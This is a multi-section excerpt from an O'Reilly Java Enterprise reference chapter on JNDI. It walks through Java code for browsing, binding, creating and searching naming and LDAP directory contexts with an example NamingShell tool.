Let's continue with our example of using NamingShell with the filesystem provider. Say that we are accessing a filesystem where we have unpacked a JAR file that contains, among others, a javax directory and a naming subdirectory. If the current Context is the naming directory (ignoring for a moment how we set the current Context; we'll see how to do that shortly), we can use the list command with the following results:

naming% list
AuthenticationException.class (type java.io.File)
AuthenticationNotSupportedException.class (type java.io.File)
BinaryRefAddr.class (type java.io.File)
Binding.class (type java.io.File)
CannotProceedException.class (type java.io.File)
CommunicationException.class (type java.io.File)
CompositeName.class (type java.io.File)
CompoundName.class (type java.io.File)
ConfigurationException.class (type java.io.File)
Context.class (type java.io.File)
ContextNotEmptyException.class (type java.io.File)
directory (type javax.naming.Context)
...

6.6.1. How Names Work

The list() method allows us to list the names of the children of any arbitrary child of a Context. We just saw that we can list the names of the children of a Context itself (in this case, the naming directory) by calling its list() method using an empty string as a parameter. Again, let's assume we have a Context object for the naming subdirectory under javax. Here's how a call to get the names of the children of this Context might look:

NamingEnumeration childrenOfNaming = namingContext.list("");

The result is a NamingEnumeration that contains NameClassPair objects representing all the children of naming (i.e., the classes and subpackages of javax.naming), including the directory directory (i.e., the javax.naming.directory subpackage).

To list the names of the children of an arbitrary child of a Context, we have to pass a name to list(). For example, we can list the children of directory by specifying the String "directory" as a parameter to list():

NamingEnumeration childrenOfDirectory = namingContext.list("directory");

The result here is a NamingEnumeration that contains NameClassPair objects representing all the children of directory (i.e., the classes of javax.naming.directory, such as DirContext).

You can also specify a name using something called a compound name. A compound name is composed of atomic names, like "naming" and "directory", that are separated by separator characters, which, in the case of the filesystem provider, can be either a Unix-style forward slash (/) or a Windows-style backward slash (\). Any JNDI method that takes a name as a parameter can accept a compound name.

Say we have a Context object for the javax directory. We can get a list of the children of directory as follows:

NamingEnumeration childrenOfDirectory = javaxContext.list("naming/directory");

This call returns the same NamingEnumeration we got earlier. Now consider the following call:

NamingEnumeration childrenOfContext = javaxContext.list("naming/Context");

The compound name here specifies an object that is not a Context, so it has no children. In this case, the call to list() throws a NamingException.

The separator character used in JNDI compound names varies across naming and directory services; the separator is analogous to the separator used in java.io.File. Although the Sun filesystem provider allows us to use the Unix-style forward slash and the Windows-style backward slash interchangeably, most service providers are very picky about the separator character used for that service. Unfortunately, the JNDI API does not provide a way to get the separator character programmatically the way java.io.File does. Although the javax.naming.CompoundName class reads a property called "jndi.syntax.separator" that contains the separator character, this property cannot be accessed outside the service provider. So, to find out the separator character for a particular service provider, you have to consult the documentation or some sample code for that provider.

6.6.2. Browsing a Naming System

So far, we know how to look up an object in a Context using lookup() and list the children of that Context with list(). Browsing is a composite operation that involves repeated calls to list() and lookup(), to see what objects are available in the naming system and to move around in those objects.

Context objects are the key to browsing. You start with a current Context and list the children of that Context to see which child you (or, more likely, the user) are interested in. Once you have selected an interesting child, you look up that child to get the actual child object. If the object implements Context, you can use this new Context object to continue browsing, by calling list() again, selecting a child, and looking up its object. If the object does not implement Context, however, you obviously cannot continue browsing down that branch of the naming system. Once you have a Context object, it is always possible to list its children and look up objects within it. So, for example, you can always use the InitialContext for a naming system to go back and start browsing at the entry point to the naming system

Example 6-7 shows an implementation of a cd command for NamingShell. The cd command changes the current context of NamingShell to the specified context; you use it in conjunction with the list command to browse the naming system. The name of this command comes from the Unix cd command for changing directories, since changing the directory on a Unix system is an analogous operation to changing the current context when NamingShell is used with the filesystem provider. To change the current context back to the initial context, use either cd / or cd \. Note, however, that you cannot use cd .., as Context objects do not know about their parents, and therefore, we cannot go up the Context hierarchy.

Example 6-7. The cd Command

import java.util.Vector;
import javax.naming.*;

class cd implements Command {
  public void execute(Context ctx, Vector v) throws CommandException {
    if (NamingShell.getCurrentContext() == null)
      throw new CommandException(new Exception(), "No current context");
    else if (v.isEmpty())
      throw new CommandException(new Exception(), "No name specified");

    // Get args[0] and throw away the other args
    else {
      String name = (String)v.firstElement();
      try {
        if (name.equals("..")) {
          throw new CommandException(new Exception(),
            "Contexts don't know about their parents.");
        }
        else if (((name.equals("/")) || (name.equals("\\"))) {
          NamingShell.setCurrentContext(NamingShell.getInitialContext());
          NamingShell.setCurrentName(NamingShell.getInitialName());
          System.out.println("Current context now " + name);
        }
        else {
          Context c = (Context) (NamingShell.getCurrentContext()).lookup(name);
          NamingShell.setCurrentContext(c);
          NamingShell.setCurrentName(name);
          System.out.println("Current context now " + name);
        }
      }
      catch (NamingException ne) {
        throw new CommandException(ne, "Couldn't change to context " + name);
      }
      catch (ClassCastException cce) {
        throw new CommandException(cce, name + " not a Context");
      }
    }
  }

  public void help() { System.out.println("Usage: cd [name]"); }
}

Earlier, when we demonstrated the list command, I asked you to assume that the current Context for NamingShell was the naming subdirectory. Now we can see just how to change the current Context to that directory:

initctx% cd temp
Current context now temp
temp% cd javax
Current context now javax
javax% cd naming
Current context now naming

Of course, these commands assume we are starting from the initial context and that the naming directory is available in the filesystem at /temp/javax/naming.

6.6.3. Listing the Bindings of a Context

The listBindings() method of Context provides an alternative means of accessing the children of a Context. We've seen that list() returns a NamingEnumeration of NameValuePair objects, where each NameValuePair provides access to the name and class name of a single child of the Context. listBindings() also returns a NamingEnumeration, but, in this case, the enumeration contains Binding objects. Binding is a subclass of NameValuePair that contains the actual child object, in addition to its name and class. You can use the getObject() method of Binding to get the child object.

Just as with list(), we can pass an empty string to listBindings() to return the bindings for a Context:

NamingEnumeration bindings = initialContext.listBindings("");

listBindings() is designed for situations where you need to perform some sort of operation on all the children of a Context, and you want to save yourself the time and trouble of looking up each child individually. Be aware, however, that listBindings() is potentially a very expensive operation, as it has to get each child object from the underlying naming system. If you don't need all the objects, you are better off using list() to get the names of the children and then just looking up the objects you need.

Previous | Home | Next
6.5. The NamingShell Application | Book Index | 6.7. Creating and Destroying Contexts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating and Destroying Contexts (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.7. Creating and Destroying Contexts

With JNDI, you can create a context in a naming system using the createSubcontext() method of an existing Context. All you have to specify in this call is the name of the new subcontext. Note that Context does not provide a public constructor; creating a new context requires a parent Context (such as an InitialContext) whose createSubcontext() method we can call.

When you call createSubcontext(), the JNDI service provider you are using looks at the class of the Context whose method you are calling. Based on this class and the provider's own internal logic, the provider creates a new object of a particular class. You don't get to pick the class of this object; the provider has all the control over the class of the object it creates. (You do, however, have control over the class of object that is created when using directory services, as we'll see shortly.) The documentation for a service provider should tell you what kinds of objects createSubcontext() can create. Note that whatever object the provider creates, it always implements Context; there is no way to use JNDI to create an object that doesn't implement Context.

For example, if we are using the Sun filesystem provider, and our current Context is a directory, calling createSubcontext() causes the provider to create a directory, not a file. This makes sense, as a directory can have subordinates and thus implements Context. There is actually no way to create a file using the JNDI API and the filesystem provider; you have to drop out of JNDI to do this, as we'll see in the next section.

Example 6-8 shows the implementation of a create command for NamingShell command that demonstrates how to use createSubcontext().

Example 6-8. The create Command

import java.util.Vector;
import javax.naming.*;

public class create implements Command {

  public void execute(Context c, Vector v) throws CommandException {

    // Check to see if we have the name we need to create a context
    if (v.isEmpty())
      throw new CommandException(new Exception(), "No name specified");

    String name = (String)v.firstElement();
    try {
      c.createSubcontext(name);
      System.out.println("Created " + name);
    }
    catch (NoPermissionException npe) {
      throw new CommandException(npe,
        "You don't have permission to create " + name + " at this context");
    }
    catch (NamingException ne) {
      throw new CommandException(ne, "Couldn't create " + name);
    }
  }

  public void help() {  System.out.println("Usage: create [name]"); }
}

command, in conjunction with the cd and list commands we've already seen:

/% create test
Created test
/% cd test
Current context now test
test% create another
Created another
test% list
another (type javax.naming.Context)

The destroySubcontext() method of Context destroys a context, as you might expect from its name. Again, you have to specify the name of the context to be destroyed; you cannot destroy the current object by specifying an empty name. Calling the destroySubcontext() method on a Context from the Sun filesystem provider is analogous to removing a directory in the filesystem.

Example 6-9 shows the implementation of a destroy command for NamingShell. Note that it contains several catch statements, to handle such exceptions as insufficient permission to destroy a context, trying to destroy an object that doesn't implement the Context interface, and trying to destroy an object that has children.

Example 6-9. The destroy Command

import java.util.Vector;
import javax.naming.*;

public class destroy implements Command {
  public void execute(Context c, Vector v) throws CommandException {

    // Check to see if we have the name we need
    if (v.isEmpty())
      throw new CommandException(new Exception(), "No name specified");

    String name = (String)v.firstElement();

    try {
      c.destroySubcontext(name);
      System.out.println("Destroyed " + name);
    }
    catch (NameNotFoundException nnfe) {
      throw new CommandException(nnfe, "Couldn't find " + name);
    }
    catch (NotContextException nce) {
      throw new CommandException(nce,
        name + " is not a Context and couldn't be destroyed");
    }
    catch (ContextNotEmptyException cnee) {
      throw new CommandException(cnee,
        name + " is not empty and couldn't be destroyed");
    }
    catch (NamingException ne) {
      throw new CommandException(ne, name + " couldn't be destroyed");
    }
  }

  public void help() { System.out.println("Usage: destroy [name]"); }
}
Previous | Home | Next
6.6. Listing the Children of a Context | Book Index | 6.8. Binding Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Binding Objects (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.8. Binding Objects

A Context stores its subordinates as a set of Binding objects. A binding is an association between an object and its name. Thus, as we've already seen, a Binding object contains an object, its name, and its class. We can add a new Binding to a Context with the bind() method. For example, here's how to add a binding for a new file object to an existing Context:

java.io.File newfile = java.io.File("c:\temp\newfile");
tempContext.bind("newfile", newfile);

Now, if we call list() on this Context, we'll see a new child named newfile. If you recall, in the previous section, I said that you have to drop out of JNDI to create a new file when using the Sun filesystem provider. The previous example shows what I meant. To create a file, we use the java.io.File constructor, which is not part of JNDI. Then, to bind the file into the naming system, we use the bind() method of Context.

If you try to bind a name to an object, and the name has already been used, the method throws a NameAlreadyBoundException. If you want to bind a new object to an existing name, use the rebind() method instead. Context also has an unbind() method you can use to remove a binding.

Previous | Home | Next
6.7. Creating and Destroying Contexts | Book Index | 6.9. Accessing Directory Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Accessing Directory Services (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.9. Accessing Directory Services

So far, we have only discussed JNDI in the context of naming services. Now it's time to turn to directory services. At its root, a directory is merely a naming service whose objects have attributes as well as names. Programming for a directory service, such as an LDAP directory, is roughly as hard as programming for a relational database.

As we've seen, a binding in JNDI is an association between a name and an object. While this association is sufficient for some naming services, a directory service needs to be able to associate more than just a name with an object. Attributes associate specialized data with an object. In JNDI, an object with attributes as well as a name is called a directory entry.

We've been talking about the filesystem as though it were a naming system because that is how Sun's filesystem provider implements it. But if you think about it, a filesystem is really a directory system; files and directories have attributes like permissions, user IDs, and group IDs (we just can't get at these attributes using Sun's filesystem provider).

Most of the directories you'll interact with using JNDI are based on the X.500 directory services standard. For example, both standard LDAP directories and Novell's NDS directories have been influenced by X.500. As such, it is important that you know a little bit about X.500, so that you can understand how these directories work.

6.9.1. X.500 Directories

X.500 is a directory services standard that was developed through a collaboration between ISO and CCITT in the late 1980s. It is the "big daddy" of most directories in use today. Like all such collaborations between standards bodies and treaty organizations, the X.500 specification has the bulk of an earthmover and is about as maneuverable. But, like an earthmover, it can really get the big jobs done.

A large contributor to X.500's bulk is its schema, which is the directory type system. A directory schema is a set of rules that govern the layout of the objects in the directory. The schema determines what classes of objects can reside in a directory system, what classes of children and kinds of attributes an object is permitted to have, and what classes of values those attributes can have. If you have worked with databases, be careful not to confuse a directory schema with a database schema. A database schema is the layout of tables in the database, while a directory schema is the set of rules that control the directory layout, not the layout itself.

During the mid 1990s, researchers at the University of Michigan began to examine ways of reducing the complexity of the X.500 Directory Access Protocol (DAP). These researchers came up with the "lightweight" DAP, or LDAP, which significantly slimmed down the protocol's bulk. LDAP has gathered considerable support in the industry, so that it is now considered the standard Internet directory access protocol. Netscape is in part responsible for the acceptance of LDAP, as it declared LDAP the preferred method for accessing address books incorporated into its product line and developed the Netscape Directory Server, which is the most popular general-purpose LDAP-based directory server in use today. Note that while the LDAP protocol is simpler than the X.500 protocol, an LDAP directory still uses a directory schema.

Novell's NDS is another X.500-based directory. In the early 1990s, Novell released NetWare 4.0, which included something called NetWare Directory Services (NDS), a directory that was heavily influenced by X.500. NDS provides information about various networking services, such as printing and file services. As Novell ported NDS to other non-NetWare platforms, the name of the directory morphed into Novell Directory Services, and then NDS became its official name. As further proof of the acceptance of the LDAP protocol, even Novell has declared that the LDAP protocol is the preferred directory access protocol for NDS.

JNDI supports the X.500-based notion of a directory schema. But it can just as easily support non-X.500 schemae, such as the informal schema of a filesystem. Keep in mind that what we are discussing in this section applies to all directory services, not just X.500, LDAP, or NDS directories. As with naming services, to access a particular directory service, all you need is a service provider for that service.

6.9.2. The DirContext Interface

javax.naming.directory.DirContext is JNDI's directory services interface. It extends Context and provides modified methods that support operations involving attributes. Like a Context, a DirContext encapsulates a set of name-to-object bindings. In addition, a DirContext contains a javax.naming.directory.Attributes object for each bound object that holds the attributes and values for that object.

The names of objects in X.500-based directories look a little different from the names we've seen so far for filesystems. If you've worked with an LDAP directory, you've probably seen names like "cn=Billy Roberts, o=Acme Products". This name is actually a compound name, while something like "o=Acme Products" is an atomic name. By convention, in an LDAP directory, the part of the name before the equals sign (e.g., "cn", "o") is stored as an attribute of the directory entry, and the rest of the name (e.g., "Billy Roberts", "Acme Products") is stored as its value. This attribute is called the key attribute. Table 6-2 lists some commonly used key attributes. Note that when a DirContext is used with an LDAP directory, it knows its name, unlike a Context.

Table 6-2. Common Key Attributes

Attribute | Meaning
"c" | A country, such as the United States or Lithuania
"o" | An organization or corporation, such as the Humane Society or Omni Consumer Products
"ou" | A division of an organization, such as the Public Relations Department or the Robotic Peace Officer Division
"cn" | The common name of an entity (often a user, where it can be a first name or a full name)
"sn" | The surname (last name) of a user

The key attribute is closely tied to the directory entry's object class definition, otherwise known as its type. For example, in an LDAP directory, an entry that has a key attribute of "cn" has an object class of "user", while the key attribute "o" has an object class of "organization". The schema for a directory controls the object classes that can be used in the directory. The object class of a directory entry is stored as an attribute. Note that the values used for object classes are directory-dependent, so a user entry from one directory might have a different object class than a user entry from another directory even though both have the high-level notion of a user entry.

6.9.3. The Attributes Interface

The Attributes interface represents the set of attributes for a directory entry. It has accessor methods that enable access to the entire set, as well as to specific attributes. In X.500-based directories, the name of an attribute (also called an attribute ID), such as "name", "address", or "telephonenumber", determines the type of the attribute and is called the attribute type definition. An attribute type definition is part of a directory's schema; the corresponding attribute syntax definition specifies the syntax for the attribute's value and whether it can have multiple values, among other things.

We can retrieve all the attributes of a directory entry by calling the getAttributes() method of DirContext, followed by the getAll() method of Attributes. getAttributes() returns an Attributes object. Calling the getAll() method of this object returns a NamingEnumeration of javax.naming.directory.Attribute objects, one for each attribute of the directory entry.

Example 6-10 shows the implementation of a listattrs command for NamingShell. This command prints the attributes of a directory entry, as well as string representations of the attribute values.

Example 6-10. The listattrs Command

import java.util.Vector;
import javax.naming.*;
import javax.naming.directory.*;

class listattrs implements Command {
  public void execute(Context c, Vector v) throws CommandException {

    String name = "";

    // An empty string is OK for a listattrs operation
    // as it means list attributes of the current context
    if (!(v.isEmpty()))
      name = (String)v.firstElement();

    if (NamingShell.getCurrentContext() == null)
      throw new CommandException(new Exception(), "No current context");

    try {
      // Get the Attributes and then get enumeration of Attribute objects
      Attributes attrs = ((DirContext)c).getAttributes(name);
      NamingEnumeration allAttr = attrs.getAll();
      while (allAttr.hasMore()) {
        Attribute attr = (Attribute)allAttr.next();
        System.out.println("Attribute: " + attr.getID());

        // Note that this can return human-unreadable garbage
        NamingEnumeration values = attr.getAll();
        while (values.hasMore())
          System.out.println("Value: " + values.next());
      }
    }
    catch (NamingException e) {
      throw new CommandException(e, "Couldn't list attributes of " + name);
    }
    catch (ClassCastException cce) {
      throw new CommandException(cce, "Not a directory context");
    }
  }

  public void help() { System.out.println("Usage: listattrs [name]"); }
}

To use the listattrs command, you need to have access to a live directory server. To experiment with a live LDAP directory server, you might try the University of Michigan's server at ldap://ldap.itd.umich.edu/ or Novell's test server at ldap://nldap.com/. Another option is to download and compile the OpenLDAP source code from http://www.openldap.org/ and get an LDAP server running on your local network. To use the University of Michigan's LDAP server with NamingShell, you need to create a properties file that contains the following properties:

java.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory
java.naming.provider.url=ldap://ldap.itd.umich.edu/

Make sure that the JAR file for the LDAP service provider is in the classpath of NamingShell when you use this initial context information.

Once you have NamingShell set up to use a directory server, here's how you might use the listattrs command:

o=NOVELL% listattrs cn=admin
Attribute: groupMembership
Value: cn=DEVNET SYSOP,ou=Groups,o=NOVELL
Attribute: revision
Value: 235
Attribute: uid
Value: admin
Attribute: objectClass
Value: top
Value: person
Value: organizationalPerson
Value: inetOrgPerson
Attribute: sn
Value: admin
Attribute: cn
Value: admin

The following code in listattrs retrieves the Attributes object of the named directory context and enumerates the individual Attribute objects:

Attributes attrs = ((DirContext)c).getAttributes(name);
NamingEnumeration allAttr = attrs.getAll();

Calling getAttributes() with the name of a directory entry returns an Attributes object that contains all the attributes for that entry. Another variation of getAttributes() allows you to pass the name of a directory entry and an array of attribute names (as String objects). This method returns an Attributes object that contains only the specified attributes. For example:

String[] attrIDs = {"name", "telephonenumber"};
Attributes partialAttrs = dirContext.getAttributes(name, attrIDs);

In listattrs, we used the getAll() method of Attributes to return an enumeration of Attribute objects. The Attributes interface also provides a getIDs() method that returns an enumeration of just the attribute names (or IDs) for the directory entry. If you know the attribute you want, you can specify the attribute name in a call to the get() method, which returns a single Attribute object. For example:

Attribute addr = attrs.get("address");

6.9.4. The Attribute Interface

The Attribute interface represents a single directory attribute. We've already seen this interface in the listattrs command, where we used it to print the names and values of all the attributes of a directory context.

An attribute can have a single value or multiple values, as specified in the schema for the directory. For example, a "name" attribute might have a single value (e.g., "Billy"), while a "telephonenumber" attribute might have multiple values (e.g., "800 555 1212" and "303 444 6633").

JNDI provides several methods for working with values in an attribute. For instance, we can get one or more values, add or remove a single value, remove all values, and determine if a particular value is present.

The get() method of Attribute returns a single attribute value as a java.lang.Object. If the attribute has only a single value, get() returns that value. If the attribute has multiple values, the service provider determines the value that is returned. The following code shows how to get a single value from an attribute:

DirContext user ... ;           // Created somewhere else in the program
Attributes attrs = user.getAttributes("");
Attribute attr  = attrs.get("telephonenumber");
Object onePhoneNumber = attr.get();

The getAll() method returns multiple attribute values as a NamingEnumeration of objects, as we saw in listattrs. Here's how to print all values stored in an attribute:

Attribute attr  = attrs.get("telephonenumber");
NamingEnumeration phoneNumbers = attr.getAll();
while (phoneNumbers.hasMore())
  System.out.println(phoneNumbers.next());

The add() method of Attribute enables us to add another value to an attribute:

Attribute attr = attrs.get("telephonenumber");
attr.add("520 765 4321");       // Add a new number

If we try to add a value to an attribute that doesn't support multiple values, the method does not throw an exception. The attribute simply does not accept the new value. By the same token, you can use the remove() method to remove a value from an attribute.

Attribute attr = attrs.get("telephonenumber");
attr.remove("303 444 6633");      // Remove the old number

To remove all the values from an attribute, you can call the clear() method. Note that none of these method calls actually affect the directory entry; they simply modify the local Attribute object. To make a permanent change, you have to call the modifyAttributes() method of DirContext and provide it with a modified Attribute object, as discussed in the next section.

The contains() method lets you determine whether an attribute has a certain value, while size() returns the number of values the attribute has:

Attribute attr = attrs.get("telephonenumber");
boolean itsThere = attr.contains("800 555 1212");  // Check for certain value
int valuesItHas = attr.size();  // Check how many values it has
Previous | Home | Next
6.8. Binding Objects | Book Index | 6.10. Modifying Directory Entries
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Modifying Directory Entries (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.10. Modifying Directory Entries

Modifying the attribute values of a directory entry involves using the modifyAttributes() method of DirContext. One variant of this method takes the name of a directory entry, a modification type, and an Attributes object that contains modified Attribute objects, while another variant takes a name and an array of javax.naming.directory.ModificationItem objects. A ModificationItem encapsulates a modified Attribute object and a modification type.

The only part of this operation that warrants much explanation is the creation of modified Attribute objects. The javax.naming.directory.BasicAttributes and javax.naming.directory.BasicAttribute classes implement the Attributes and Attribute interfaces, respectively. These are the classes you'll typically use to create modified attribute values.

For example, let's say we want to remove the phone number "303 444 6633" from a user entry's "telephonenumber" attribute and replace it with the new number "520 765 4321." In the following code, we create two BasicAttributes objects, newNumber and oldNumber, and use them in calls to modifyAttributes():

DirContext user ... ;     // Created somewhere else in the program

BasicAttribute newAttr = new BasicAttribute();
newAttr.add("telephonenumber", "520 765 4321");
BasicAttributes newNumber = new BasicAttributes();
newNumber.put(newAttr);

BasicAttributes oldNumber =
  new BasicAttributes("telephonenumber", "303 444 6633");

user.modifyAttributes("", DirContext.REMOVE_ATTRIBUTE, oldNumber);
user.modifyAttributes("", DirContext.ADD_ATTRIBUTE, newNumber);

In this code, we use two different techniques to create BasicAttributes objects. For newNumber, we first create a new BasicAttribute and add a "telephonenumber" attribute to it. Then we create a new BasicAttributes object and put the BasicAttribute in it. With oldNumber, we use the convenience constructor of BasicAttributes to accomplish the same task in one line of code.

Now we use the two BasicAttributes objects in two calls to modifyAttributes(), one to remove the old number and one to add the new. DirContext defines three constants we can use to specify the type of modification we are doing: ADD_ATTRIBUTES, REMOVE_ATTRIBUTES, andREPLACE_ATTRIBUTES. With any of these types, modifyAttributes() uses the ID of each Attribute object to determine which attribute to modify by adding, removing, or replacing attribute values. The net result of our two calls is that the old number is replaced with the new number. Of course, we could have done this with one call to modifyAttributes() if we had used the REPLACE_ATTRIBUTES modification type.

The following code shows how to make the same change using the variant of modifyAttributes() that takes an array of ModificationItem objects:

ModificationItem[] mods = new ModificationItem[2];
mods[0] = new ModificationItem(DirContext.REMOVE_ATTRIBUTE,
  new BasicAttribute("telephonenumber", "303 444 6633"));
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE,
  new BasicAttribute("telephonenumber", "520 765 4321"));
user.modifyAttributes("", mods);

Again, this change could also have been done with a single ModificationItem, using REPLACE_ATTRIBUTES.

Note that the examples here do not reflect any particular directory. In order to change a "telephonenumber" attribute value for a particular directory, you need to consult the schema of that directory for the appropriate attribute type and syntax definitions.

Note also that we have only discussed modifying existing attribute values, not adding new attributes altogether. The reason is that adding new attribute IDs requires modifying the schema, or type system, of a directory. JNDI supports schema access and modification, but the details on how to do so are beyond the scope of this chapter.

Previous | Home | Next
6.9. Accessing Directory Services | Book Index | 6.11. Creating Directory Entries
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating Directory Entries (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.11. Creating Directory Entries

So far, we have been accessing directory entries that are already present in the directory. Now it's time to learn how to create directory entries of our own, using the createSubcontext() method of DirContext. As we discussed earlier, when you create a subcontext of a Context object, the service provider controls the type of object that is created. With a DirContext, this is not the case; you actually have complete control over the type of object you create with createSubcontext() (within the constraints of the directory schema, of course).

As I noted earlier, the object class definition determines the type of a directory entry, and the entry stores its object class as an attribute. So, in order to create a directory entry, we must pass the object class attribute and some other attributes into the parent entry's createSubcontext() method.

Most directories require that you specify attributes for at least the object class definition (e.g., "objectclass=") and key attribute (e.g., common name, "cn=") of a directory entry. Often directories require that you specify more attributes than just these. The minimum set of attributes necessary for creating a directory entry are called the mandatory attributes. They are mandatory because if you do not specify them, createSubcontext() throws an InvalidAttributesException. Other attributes that are not required, but that add more useful data to the entry, are called extended attributes.

Say we have a reference to a DirContext called orgUnit (where this directory entry lives in an LDAP v3 directory), and we want to create a user entry that is a child of orgUnit to represent the network user Billy Roberts. Here's how we can create a user entry for Billy:[3]

[3] Note that I didn't implement a "create directory entry" command for NamingShell because most public-access LDAP servers don't allow you to create new entries.

DirContext orgUnit = ... ;     // Created somewhere else in the program

BasicAttributes mandatory = new BasicAttributes("cn", "Billy");
BasicAttribute objectclass = new BasicAttribute("objectclass", "user");
BasicAttribute surname = new BasicAttribute("surname", "Roberts");
mandatory.put(objectclass);
mandatory.put(surname);

orgUnit.createSubcontext("cn=Billy", mandatory);

Note that the createSubcontext() method of DirContext resembles the createSubcontext() method of Context; the only difference is the addition of an Attributes parameter. In this example, we create a BasicAttributes object and put three attributes in it. While all the attribute values here are String objects (because that's what an LDAP directory requires), the JNDI API allows you to specify any kind of object as an attribute value.

In this example, orgUnit represents an organizational unit, under which Billy Roberts' newly created user entry resides. In an LDAP directory, an organizational unit is an object class definition that represents a division of a company, and a user is an object class definition that represents a person who uses network resources. It is natural that a division of a company can contain a person, but it doesn't necessarily work in the opposite direction; it doesn't make sense that a user can contain an organizational unit. The LDAP schema dictates these rules and also specifies the values we can use for the "objectclass" attribute (which is where "user" came from in the example code).

When you are creating your own directory entries, be sure to consult the schema for the directory you are using. If you attempt to create a type of entry that cannot reside under a particular DirContext, or you specify an incorrect value for the "objectclass" attribute, createSubcontext() throws an exception.

Previous | Home | Next
6.10. Modifying Directory Entries | Book Index | 6.12. Searching a Directory
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Searching a Directory (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.12. Searching a Directory

One of the most useful features a directory service can offer is the ability to search its entries for ones that have attribute values that meet certain criteria. JNDI supports this kind of searching in directory systems, which means you can implement search functionality in your JNDI applications. DirContext provides a number of different search() methods that allow you to specify what you are searching for and let you control how the search operates.

6.12.1. Search Criteria

There are two ways to specify what you are searching for. The simpler technique is to create a set of attributes that serve as the search criteria. In this case, you can either set an attribute value, meaning that an entry must have that attribute value to match or leave the value empty, so that all entries that have the attribute match, no matter what the value.

The more flexible way to specify search criteria is with a search filter string. A search filter allows you to express search criteria using LDAP search syntax, specified in RFC-2254. Note that this syntax works with all JNDI providers, not just LDAP; it's the JNDI standard for searching all kinds of directories. The search filter is a String that takes the following general form:

(attribute operator value)

You can use an asterisk (*) to represent a wildcard. For example, here's how to search for all entries in an LDAP directory:

(objectclass=*)

A search for all users takes the form of:

(objectclass=user)

You can also use the wildcard character to represent completion, just like in a Unix shell or a DOS prompt. For example, here's a filter for searching for all users whose first names start with "k":

(cn=k*)

You can use operators other than equals (=), as in:

(revision<24)

You can also combine search filters with operators such as AND (&) and OR (|). The way to do this is to wrap the entire expression in parentheses:

(&(objectclass=computer)(cn=Billy))

Finally, you can nest search expressions:

(&(|(objectclass=computer)(objectclass=user))(cn=Billy)))

Obviously, the attributes you specify in a search depend on the directory service you are searching.

6.12.2. Search Results

Regardless of how you specify the search criteria, the search() method you call returns a NamingEnumeration of SearchResult objects. There is a SearchResult for each directory entry that matches the search criteria. SearchResult is a direct subclass of Binding that stores a set of Attributes along with the usual name, class name, and object. (As we'll see shortly, the object in a SearchResult may be null, depending on the SearchControls you set.) Since a search operation returns a NamingEnumeration, you must cast the object that the enumeration returns from the next() method to a SearchResult object. Once you have done that, you can retrieve attributes with the getAttributes() method and use methods inherited from Binding (and NameClassPair) to get other information about the matching entry.

6.12.3. Search Controls

The search() methods that take a SearchControls object allow you to control how a search operates. You can set the scope of a search, whether the search should return objects, and the maximum amount of time the search should take, among other things. The easiest way to create a SearchControls object is to use the default constructor and then call various set() methods to set particular search properties.

For example, the setSearchScope() method controls where the search should look for matching directory entries. Most of the time, you set the scope of a SearchControls object to search an entire subtree, but you can also limit the search to an object or its children. Table 6-3 lists the available search scopes.

Table 6-3. SearchControls Search Scopes

Scope | Meaning
OBJECT_SCOPE | Searches only the object itself
ONELEVEL_SCOPE | Searches only the children of the search target
SUBTREE_SCOPE | Searches the entire subtree

The setReturningObjFlag() method determines whether the results of a search contain references to the actual directory entries or only the names and class names of the entries. The default behavior is not to return the actual entries, meaning that calling getObject() on a SearchResult returns null.

The SearchControls object also allows you to specify other aspects of the behavior of a search:

  • The number of milliseconds to wait for the directory to return the search results (by default, a search can take as long as it takes)

  • The number of entries that can be returned from the search (by default, as many as are present)

  • Whether to follow links to finish the search (no by default)

  • What attributes if any to return (all by default)

In general, the default behavior is typically what you want for these parameters.

6.12.4. A Search Command

Now that we've discussed how the various search() methods work, let's look at a real example. Example 6-11 shows the implementation of a search command for NamingShell. This example uses the search() method that takes the name of the context to be searched, a search filter that describes the search criteria, and a SearchControls object.

Example 6-11. The search Command

import java.util.Vector;
import javax.naming.*;
import javax.naming.directory.*;

class search implements Command {
  public void execute(Context c, Vector v) throws CommandException {

    if (NamingShell.getCurrentContext() == null)
      throw new CommandException(new Exception(), "No current context");
    else if (v.isEmpty())
      throw new CommandException(new Exception(), "No filter specified");
    String filter = (String)v.firstElement();
    try {
      SearchControls cons = new SearchControls();
      cons.setSearchScope(SearchControls.SUBTREE_SCOPE);
      NamingEnumeration results = ((DirContext)c).search("", filter, cons);
      while (results.hasMore()) {
        SearchResult result = (SearchResult)results.next();
        System.out.println(result.getName());
      }
    }
    catch (InvalidSearchFilterException isfe) {
      throw new CommandException(isfe,
      "The filter [" + filter + "] is invalid");
    }
    catch (NamingException e) {
      throw new CommandException(e, "The search for " + filter + " failed");
    }
    catch (ClassCastException cce) {
      throw new CommandException(cce, "Not a directory context");
    }
  }

  public void help() { System.out.println("Usage: search filter"); }
}

The search command always starts searching in the current context, so you need to move to the appropriate location in the directory service using cd before you use search. search requires you to specify a search filter as its first argument. Note that you cannot use any spaces in the filter, or the filter will be parsed as multiple arguments and therefore not work. Here's how we might use the search command:

o=Novell% search (&(objectclass=person)(cn=a*))
cn=admin
cn=admin,ou=cook1,ou=user
cn=admin,ou=fj,ou=user
cn=admin,ou=Stanford,ou=user
cn=admin,ou=Ed Reed,ou=user
cn=admin,ou=antimony,ou=user
cn=admin,ou=keaves,ou=user
cn=admin,ou=acme,ou=user
cn=admin,ou=nld,ou=user
cn=admin,ou=wibble,ou=user
cn=admin,ou=xxx,ou=user
cn=admin,ou=piet,ou=user
cn=admin,ou=adamtest1,ou=user
cn=admin,ou=novell,ou=user
...
Previous | Home | Next
